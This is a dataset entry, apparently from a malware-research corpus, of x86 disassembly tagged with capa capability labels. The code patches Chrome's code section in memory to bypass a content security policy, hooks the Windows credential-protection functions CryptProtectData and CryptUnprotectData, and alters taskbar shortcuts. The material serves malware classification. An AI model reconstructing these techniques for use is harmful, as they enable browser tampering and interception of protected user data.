joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
push 0x1006cdc4
mov eax, dword [edi]
push dword [eax]
call fcn.1003aa6f
mov esi, eax
add esp, 8
test esi, esi
je 0x1000507b
push esi
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1003a8ca
push esi
call fcn.10034290
add esp, 0x14
pop edi
pop esi
pop ebp
ret 8
mov eax, dword [edi]
push dword [eax]
push str.ReleaseIni_failed__s
call fcn.10004540
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x10005140
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
push str.chrome.dll
mov dword [ebp - 0x220], edx
call esi
mov dword [ebp - 0x218], eax
test eax, eax
jne 0x10005200
lea ecx, [ebp - 0x214]
call fcn.100050a0
lea edi, [ebp - 0x214]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x10005190
mov eax, dword [0x1006ce84]
lea ecx, [ebp - 0x214]
mov dword [edi], eax
add ecx, 0xfffffffe
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x100051b0
mov eax, dword [str.chrome.dll]
mov dword [ecx], eax
mov eax, dword [0x1006de1c]
mov dword [ecx + 4], eax
mov eax, dword [0x1006de20]
mov dword [ecx + 8], eax
mov eax, dword [0x1006de24]
mov dword [ecx + 0xc], eax
mov eax, dword [0x1006de28]
mov dword [ecx + 0x10], eax
mov ax, word [0x1006de2c]
mov word [ecx + 0x14], ax
lea eax, [ebp - 0x214]
push eax
call esi
mov dword [ebp - 0x218], eax
test eax, eax
je 0x10005258
mov ecx, dword [eax + 0x3c]
xor esi, esi
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
mov dword [ebp - 0x21c], eax
test ebx, ebx
je 0x10005258
mov edi, eax
mov eax, str..text
mov ecx, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10005247
test dl, dl
je 0x10005243
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10005247
add ecx, 2
add eax, 2
test dl, dl
jne 0x10005227
xor eax, eax
jmp 0x1000524c
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000526b
inc esi
add edi, 0x28
cmp esi, ebx
jl 0x10005220
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x21c]
lea eax, [esi + esi*4]
push 7
push dword [ebp - 0x220]
mov ecx, dword [edx + eax*8 + 0x14]
add ecx, dword [ebp - 0x218]
mov edx, dword [edx + eax*8 + 0x10]
call fcn.100044c0
mov ecx, dword [ebp - 8]
add esp, 8
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10027b68
mov esp, ebp
pop ebp
ret
Function at 0x100065c0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push ecx
push 0
push 0x1006d090
push 0x1006cd80
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp eax, 1
jne 0x100066ec
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1000666b
push str.GetComputerNameW
push esi
call ebx
push str.GetVolumeInformationW
push esi
mov dword [ebp - 4], eax
call ebx
mov ecx, dword [ebp - 4]
mov edx, 0x100065a0
push 0
mov esi, eax
call fcn.10023ff0
test eax, eax
jne 0x10006631
mov ecx, dword [ebp - 4]
lea edx, [eax + 1]
call fcn.100241a0
jmp 0x1000663f
push eax
push str.MH_CreateHook_GetComputerNameW_failed:_d
call fcn.10004540
add esp, 8
push 0
mov edx, 0x100065b0
mov ecx, esi
call fcn.10023ff0
test eax, eax
jne 0x1000665d
lea edx, [eax + 1]
mov ecx, esi
call fcn.100241a0
jmp 0x1000666b
push eax
push str.MH_CreateHook_GetVolumeInformationW_failed:_d
call fcn.10004540
add esp, 8
push str.Crypt32.dll
call edi
mov esi, eax
test esi, esi
je 0x100066ec
push str.CryptProtectData
push esi
call ebx
push str.CryptUnprotectData
push esi
mov edi, eax
call ebx
push 0
mov edx, 0x10006510
mov ecx, edi
mov esi, eax
call fcn.10023ff0
test eax, eax
jne 0x100066aa
lea edx, [eax + 1]
mov ecx, edi
call fcn.100241a0
jmp 0x100066b8
push eax
push str.MH_CreateHook_CryptProtectData_failed:_d
call fcn.10004540
add esp, 8
push 0x1007fa10
mov edx, 0x10006550
mov ecx, esi
call fcn.10023ff0
test eax, eax
jne 0x100066de
lea edx, [eax + 1]
mov ecx, esi
call fcn.100241a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push str.MH_CreateHook_CryptUnprotectData_failed:_d
call fcn.10004540
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006700
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x5e6ea9af
push esi
push edi
mov edi, edx
movzx esi, cx
mul ebx
shr ecx, 0x10
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, ebx
mov dword [ebp - 0x10], ecx
sub edx, eax
mov dword [ebp - 4], edx
test edi, edi
jne 0x1000673c
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x1000684a
xor ebx, ebx
cmp edx, 7
jbe 0x100067a6
mov eax, 7
sub eax, edi
mov dword [ebp - 0x10], eax
movzx eax, byte [edi]
add ebx, 8
add esi, eax
movzx eax, byte [edi + 1]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 2]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 3]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 4]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 5]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 6]
add ecx, esi
add esi, eax
movzx eax, byte [edi + 7]
add ecx, esi
add edi, 8
add esi, eax
mov eax, dword [ebp - 0x10]
add eax, edi
add ecx, esi
cmp eax, edx
jb 0x10006755
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
cmp ebx, eax
jae 0x1000680c
sub eax, ebx
cmp eax, 2
jb 0x100067f8
mov edx, dword [ebp - 4]
sub edx, ebx
sub edx, 2
shr edx, 1
inc edx
lea ebx, [ebx + edx*2]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 8]
mov ecx, ebx
movzx eax, byte [edi]
add esi, eax
movzx eax, byte [edi + 1]
add ebx, esi
add edi, 2
add esi, eax
add ecx, esi
sub edx, 1
jne 0x100067d2
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x10]
cmp ebx, dword [ebp - 4]
jae 0x10006805
movzx eax, byte [edi]
add esi, eax
add ecx, esi
inc edi
mov eax, dword [ebp - 0xc]
add eax, edx
add ecx, eax
mov eax, 0x80078071
mul esi
shr edx, 0xf
imul eax, edx, 0xffff000f
add esi, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
mov edx, 0x15b0
add ecx, eax
mov eax, dword [ebp + 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp + 8], eax
mov dword [ebp - 4], edx
jne 0x10006744
shl ecx, 0x10
pop edi
lea eax, [esi + ecx]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006860
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
test esi, esi
jne 0x1000686f
xor eax, eax
pop esi
pop ebp
ret
push edi
mov edi, dword [ebp + 8]
or eax, 0xffffffff
test edi, edi
je 0x100068b2
nop word [eax + eax]
mov cl, byte [esi]
lea esi, [esi + 1]
movzx edx, cl
mov ecx, edx
shr edx, 4
xor ecx, eax
shr eax, 4
and ecx, 0xf
xor eax, dword [ecx*4 + 0x1006e808]
mov ecx, eax
shr eax, 4
and ecx, 0xf
xor edx, ecx
xor eax, dword [edx*4 + 0x1006e808]
sub edi, 1
jne 0x10006880
pop edi
not eax
pop esi
pop ebp
ret
Function at 0x1000cca0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push ecx
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], 1
mov word [ebp - 8], 0x5f74
mov byte [ebp - 6], 0x68
mov dword [ebp - 0x14], 0x1ad
mov word [ebp - 0x10], 0xf00
mov byte [ebp - 0xe], 0x84
mov dword [ebp - 0x1c], 0x199
mov word [ebp - 0x18], 0xf00
mov byte [ebp - 0x16], 0x84
mov dword [ebp - 0x24], 0x1a5
mov word [ebp - 0x20], 0xf00
mov byte [ebp - 0x1e], 0x84
mov dword [ebp - 0x2c], 0x1a1
mov word [ebp - 0x28], 0xf00
mov byte [ebp - 0x26], 0x84
call fcn.10005140
add esp, 4
test eax, eax
je 0x1000cd79
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea esi, [eax + 4]
lea eax, [ebp - 0xc]
mov byte [ebp - 0x2f], 0xeb
push eax
push 0x40
push 1
push esi
mov dword [ebp - 0xc], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1000cdec
mov al, byte [ebp - 0x2f]
push 1
push esi
mov byte [esi], al
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 1
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret
push ecx
lea edx, [ebp - 0x14]
call fcn.10005140
add esp, 4
test eax, eax
je 0x1000cdaf
push 2
lea ecx, [eax + 5]
mov word [ebp - 0x30], 0xe990
lea edx, [ebp - 0x30]
call fcn.10003d60
add esp, 4
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret
push ecx
lea edx, [ebp - 0x1c]
call fcn.10005140
add esp, 4
test eax, eax
jne 0x1000cd89
push ecx
lea edx, [ebp - 0x24]
call fcn.10005140
add esp, 4
test eax, eax
jne 0x1000cd89
push ecx
lea edx, [ebp - 0x2c]
call fcn.10005140
add esp, 4
test eax, eax
jne 0x1000cd89
push str.patch_csp_failed
call fcn.10004540
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10027b68
mov esp, ebp
pop ebp
ret
Function at 0x1000d240
Capabilities:
Enumerate files on windows
Get file attributes
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa7c
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x620]
mov dword [ebp - 0xa7c], ecx
push eax
push str._appdata_MicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor edx, edx
movzx eax, word [ebp + edx - 0x620]
lea edx, [edx + 2]
mov word [ebp + edx - 0x41a], ax
test ax, ax
jne 0x1000d275
lea ecx, [ebp - 0x418]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x1000d296
mov eax, dword [0x1006cc6c]
mov dword [ecx], eax
mov eax, dword [0x1006cc70]
mov dword [ecx + 4], eax
lea eax, [ebp - 0xa78]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000d3d6
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop word [eax + eax]
lea eax, [ebp - 0xa4c]
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1000d2f0
sub eax, edx
sar eax, 1
cmp eax, 4
jae 0x1000d308
xor al, al
jmp 0x1000d326
push 8
lea ecx, [ebp - 0xa54]
lea eax, [ecx + eax*2]
push str..lnk
push eax
call fcn.1003a33d
add esp, 0xc
test eax, eax
sete al
test al, al
je 0x1000d3bd
lea eax, [ebp - 0xa4c]
push eax
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x210]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov ecx, esi
not ecx
test cl, 1
je 0x1000d3bd
push 0x208
lea eax, [ebp - 0x828]
push 0
push eax
call fcn.1002c460
add esp, 8
lea edx, [ebp - 0x828]
lea ecx, [ebp - 0x210]
call fcn.1000d160
add esp, 4
lea eax, [ebp - 0x828]
push dword [ebp - 0xa7c]
push eax
call fcn.10033ebe
add esp, 8
test eax, eax
jne 0x1000d3bd
or esi, 1
lea eax, [ebp - 0x210]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xa78]
push eax
push edi
call ebx
test eax, eax
jne 0x1000d2e0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027b68
mov esp, ebp
pop ebp
ret
Function at 0x1000e190
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ecx + 0x24], 0
push esi
mov esi, dword [ebp + 8]
jne 0x1000e1c6
mov dword [esi], 0xc8337ab7
mov eax, esi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret 4
cmp dword [ecx + 0x28], 8
lea eax, [ecx + 0x14]
jb 0x1000e1d1
mov eax, dword [eax]
push eax
push 0x104
lea eax, [ebp - 0x214]
push eax
push str.C8337AB7
push 0x1006dfd4
push 0x1006cd60
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x217]
push eax
lea eax, [ebp - 0x216]
push eax
lea eax, [ebp - 0x215]
push eax
lea eax, [ebp - 0x214]
push str._02hhX_02hhX_02hhX_02hhX
push eax
call fcn.100027e0
movzx ecx, byte [ebp - 0x215]
add esp, 0x18
movzx eax, byte [ebp - 0x216]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp - 0x217]
shl ecx, 8
or ecx, eax
movzx eax, byte [ebp - 0x218]
shl ecx, 8
or ecx, eax
mov eax, esi
mov dword [esi], ecx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.10027b68
mov esp, ebp
pop ebp
ret 4
Function at 0x1000ec70
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], 0
mov edi, dword [esi + 4]
mov esi, dword [esi]
mov dword [ebp - 0x28], eax
cmp esi, edi
je 0x1000ed4d
movsd xmm0, qword [esi]
call fcn.1005f0c1
movsd xmm0, qword [esi + 8]
mov ebx, eax
shl ebx, 0x10
call fcn.1005f0c1
or ebx, eax
mov eax, dword [ebp - 0x28]
xor eax, ebx
test al, 1
je 0x1000ecd1
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ecd3
shr eax, 1
test al, 1
je 0x1000ece0
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ece2
shr eax, 1
test al, 1
je 0x1000ecef
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ecf1
shr eax, 1
test al, 1
je 0x1000ecfe
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ed00
shr eax, 1
test al, 1
je 0x1000ed0d
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ed0f
shr eax, 1
test al, 1
je 0x1000ed1c
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ed1e
shr eax, 1
test al, 1
je 0x1000ed2b
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ed2d
shr eax, 1
test al, 1
je 0x1000ed3a
shr eax, 1
xor eax, 0xedb88320
jmp 0x1000ed3c
shr eax, 1
add esi, 0x10
mov dword [ebp - 0x28], eax
cmp esi, edi
jne 0x1000eca5
mov ebx, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push str._08X
push eax
call fcn.1001cda0
xor eax, eax
mov dword [ebx + 0x14], 7
mov dword [ebx + 0x10], 0
add esp, 0xc
mov word [ebx], ax
cmp word [ebp - 0x24], ax
jne 0x1000ed7c
xor ecx, ecx
jmp 0x1000ed91
lea ecx, [ebp - 0x24]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000ed82
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x24]
mov ecx, ebx
push eax
call fcn.10018f90
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10027b68
mov esp, ebp
pop ebp
ret 8

Function at 0x1000fac0
Capabilities:
Hide graphical window

Disassembly:
push esi
push edi
push 0
mov edi, ecx
push 0
push 0x147
push dword [edi + 0x38]
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
cmp eax, 1
jne 0x1000faf6
push dword [edi + 0x3c]
call esi
push 0
push dword [edi + 0x40]
call esi
pop edi
xor eax, eax
pop esi
ret 0x10
push dword [edi + 0x40]
call esi
push 0
push dword [edi + 0x3c]
call esi
pop edi
xor eax, eax
pop esi
ret 0x10
Function at 0x1000fb10
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
mov edi, ecx
push 0
mov dword [ebp - 4], edi
push dword [edi + 4]
call ebx
push ecx
lea ecx, [edi + 4]
call fcn.10003430
push 0x1006bb50
push dword [edi + 0x34]
mov edi, dword [sym.imp.USER32.dll_SetWindowTextW]
call edi
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x14e
push dword [eax + 0x38]
call esi
mov eax, dword [ebp - 4]
push 0
push 0
push 0x14e
push dword [eax + 0x3c]
call esi
mov esi, dword [ebp - 4]
push 0x1006bb50
push dword [esi + 0x40]
call edi
push 5
push dword [esi + 0x40]
call ebx
push 0
push dword [esi + 0x3c]
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10010ad0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0xc8]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, edi
je 0x10010afb
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, esi
call fcn.100116e0
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0xc8]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
sub eax, edx
mov ecx, dword [ebp - 0x14]
push 0x14
push eax
mov eax, dword [ebp - 0xc]
sub eax, ecx
push eax
push edx
push ecx
push 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
lea ecx, [esi + 0x24]
call fcn.10016c40
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.10027b68
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10010b60
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100619d8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [ebp - 0x28]
mov byte [esi + 0xac], 0
push eax
call fcn.1000f350
push 0
mov dword [ebp - 4], 0
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.10011300
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x10010bcd
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.1001b3d0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10011300
Capabilities:
Hide graphical window
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061b3c
mov eax, dword fs:[0]
push eax
sub esp, 0x858
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x1001133b
mov eax, dword [eax]
lea ebx, [esi + 0xcc]
push ebx
push 0x400
lea ecx, [ebp - 0x814]
push ecx
push 0x1006bb50
push eax
push 0x1006e114
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp byte [0x1008200f], 0
jne 0x10011482
cmp word [ebp - 0x814], 0
je 0x10011478
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x82c]
call fcn.10017dd0
push 1
push 0
push 0x1006e020
lea ecx, [ebp - 0x82c]
mov dword [ebp - 4], 0
call fcn.10018ab0
mov edi, eax
cmp edi, 0xffffffff
je 0x1001144a
lea eax, [edi + 1]
push eax
push 0x1006e020
lea ecx, [ebp - 0x82c]
call fcn.10017c50
mov dword [ebp - 0x860], eax
cmp eax, 0xffffffff
je 0x1001144a
sub eax, edi
lea ecx, [ebp - 0x82c]
dec eax
push eax
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x85c]
push eax
call fcn.10017c10
mov eax, dword [ebp - 0x860]
lea ecx, [ebp - 0x82c]
push 0xffffffffffffffff
inc eax
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x844]
push eax
call fcn.10017c10
lea eax, [ebp - 0x844]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x85c]
mov ecx, esi
push eax
call fcn.10010fb0
lea ecx, [ebp - 0x844]
call fcn.10006300
lea ecx, [ebp - 0x85c]
call fcn.10006300
lea ecx, [ebp - 0x82c]
call fcn.10006300
jmp 0x1001151f
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x818]
cmp eax, 8
jb 0x1001146f
inc eax
lea ecx, [ebp - 0x82c]
push eax
push dword [ebp - 0x82c]
call fcn.1001b3d0
cmp byte [0x1008200f], 0
jne 0x10011482
cmp byte [esi + 0x30], 0
je 0x1001151f
lea eax, [ebp - 0x820]
push eax
call fcn.1000f230
mov ecx, dword [ebp - 0x820]
mov edi, dword [eax + 4]
sub edi, dword [eax]
sar edi, 4
test ecx, ecx
je 0x100114b2
mov eax, dword [ebp - 0x818]
sub eax, ecx
sar eax, 4
push eax
push ecx
call fcn.100181d0
cmp edi, 1
jbe 0x10011518
push ebx
lea ecx, [ebp - 0x844]
call fcn.10017dd0
lea eax, [ebp - 0x844]
mov dword [ebp - 4], 3
push eax
lea ecx, [esi + 0x34]
call fcn.1000f670
mov eax, dword [ebp - 0x830]
cmp eax, 8
jb 0x100114f7
inc eax
lea ecx, [ebp - 0x844]
push eax
push dword [ebp - 0x844]
call fcn.1001b3d0
push 1
push 0
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_InvalidateRect]
push 5
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 0x38]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov byte [0x1008200f], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret 4
Function at 0x10011540
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061b7b
mov eax, dword fs:[0]
push eax
sub esp, 0x82c
mov eax, dword [0x1007c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebp + 0xc]
xor eax, eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x82c], eax
cmp dword [edx + 0x10], eax
je 0x1001164c
cmp byte [0x1008200f], al
jne 0x1001167a
cmp dword [edx + 0x14], 8
jb 0x10011599
mov edx, dword [edx]
lea eax, [ecx + 0xcc]
push eax
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0x1006bb50
push edx
push 0x1006e114
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp word [ebp - 0x810], 0
je 0x10011645
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x828]
call fcn.10017dd0
push 1
push 0
push 0x1006e020
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], 0
call fcn.10018ab0
mov edi, eax
cmp edi, 0xffffffff
je 0x10011633
lea eax, [edi + 1]
push eax
push 0x1006e020
lea ecx, [ebp - 0x828]
call fcn.10017c50
cmp eax, 0xffffffff
je 0x10011633
push edi
push 0
push esi
lea ecx, [ebp - 0x828]
call fcn.10017c10
lea ecx, [ebp - 0x828]
call fcn.10006300
jmp 0x100116b3
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], 0xffffffff
call fcn.10006300
push 0x1006e1ec
jmp 0x100116ac
cmp byte [0x1008200f], al
jne 0x1001167a
cmp byte [ecx + 0x30], al
je 0x10011676
lea eax, [ebp - 0x838]
push eax
call fcn.1000f230
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
mov eax, 1
sar ecx, 4
cmp ecx, eax
ja 0x1001167a
mov bl, 1
jmp 0x1001167c
xor bl, bl
test al, 1
je 0x1001169c
mov ecx, dword [ebp - 0x838]
test ecx, ecx
je 0x1001169c
mov eax, dword [ebp - 0x830]
sub eax, ecx
sar eax, 4
push eax
push ecx
call fcn.100181d0
test bl, bl
je 0x100116a7
push 0x1006e1d0
jmp 0x100116ac
push 0x1006e1dc
mov ecx, esi
call fcn.10017dd0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027b68
mov esp, ebp
pop ebp
ret 8